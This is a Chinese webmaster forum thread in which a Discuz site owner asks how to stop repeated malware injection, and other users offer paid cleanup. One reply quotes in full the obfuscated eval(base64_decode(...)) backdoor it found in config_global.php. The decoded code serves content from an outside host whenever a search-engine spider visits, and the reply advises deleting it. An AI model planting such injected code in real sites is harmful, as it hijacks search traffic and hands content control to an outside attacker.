网站好像被人挂马请问怎么办才好？

网站好像被人挂马了，后台文件校验，被修改的文件用官方的覆盖了

可是这几天又被人修改了，请问怎么办才好？

我的ftp密码修改了也是这样

附图一张

    是搜索引擎流量劫持了吗？
  找到大马和小马的文件了吗？？
  可以联系我QQ交谈 有偿服务哦！

mR.耗子 发表于 2018-6-11 10:47
是搜索引擎流量劫持了吗？
  找到大马和小马的文件了吗？？
  可以联系我QQ交谈 有偿服务哦！

请问得多少钱？

为什么360网站安全检测是安全的 郁闷

登录密码忘记了 发表于 2018-6-11 11:49
请问得多少钱？

  请联系我QQ交谈哦！

/config/config_global.php检查这个文件 我的模板啥都改了还是有 结果这个文件给人加了@eval(base64_decode("DQokb3B0cyA9IGFycmF5KA0KICAnaHR0cCc9PmFycmF5KA0KICAgICdtZXRob2QnPT4iR0VUIiwNCiAgICAndGltZW91dCc9PjEwLA0KICAgKQ0KKTsNCiRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRzKTsNCiRkb21haW4gID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107DQoNCmlmKGlzU3BpZGVyKCkpew0KCSRjb250ZW50PSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9sNS53YW5nMjAxNy5jb20vbGluay5waHA/ZG9tYWluPScuJGRvbWFpbi4iJnNwaWRlcj0iLmlzU3BpZGVyKCkuIiZxdWVyeT0iLmJhc2U2NF9lbmNvZGUoJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKSxmYWxzZSwkY29udGV4dCk7DQoJZWNobyAkY29udGVudDsNCn0NCmZ1bmN0aW9uIGlzU3BpZGVyKCl7DQoJJGJvdHMgPSBhcnJheSgNCgkJJ2JhaWR1JyAgICAgICAgPT4gJ2JhaWR1c3BpZGVyJywNCgkJJ3NvZ291JyAgICAgICAgPT4gJ3NvZ291JywNCgkJJzM2MHNwaWRlcicgICAgICAgID0+ICdoYW9zb3VzcGlkZXInLA0KCQknMzYwc3BpZGVyJyAgICAgICAgPT4gJzM2MHNwaWRlcicsDQoJCSdiaW5nYm90JyAgICAgICAgPT4gJ2Jpbmdib3QnLA0KCQknWWlzb3UnICAgICAgICA9PiAnWWlzb3VzcGlkZXInLA0KCSk7DQogICAgJHVzZXJBZ2VudCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsNCiAgICBmb3JlYWNoICgkYm90cyBhcyAkayA9PiAkdil7DQogICAgICAgIGlmIChzdHJpc3RyKCR1c2VyQWdlbnQsJHYpKXsNCiAgICAgICAgICAgIHJldHVybiAkazsNCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gZmFsc2U7DQp9DQo="));
$_config = array(); 删除就好 希望对您有所帮助

有橼勿愤 发表于 2018-6-14 18:07
/config/config_global.php检查这个文件 我的模板啥都改了还是有 结果这个文件给人加了@eval(base64_decode ...

非常感谢您！

免费的 Discuz劫持检测插件：https://addon.dismall.com/?@freeaddon_snapshot.plugin

可以有偿排查清理加固服务器

登录密码忘记了 发表于 2018-6-11 09:09
附图一张

你的是独立的vps服务器吗？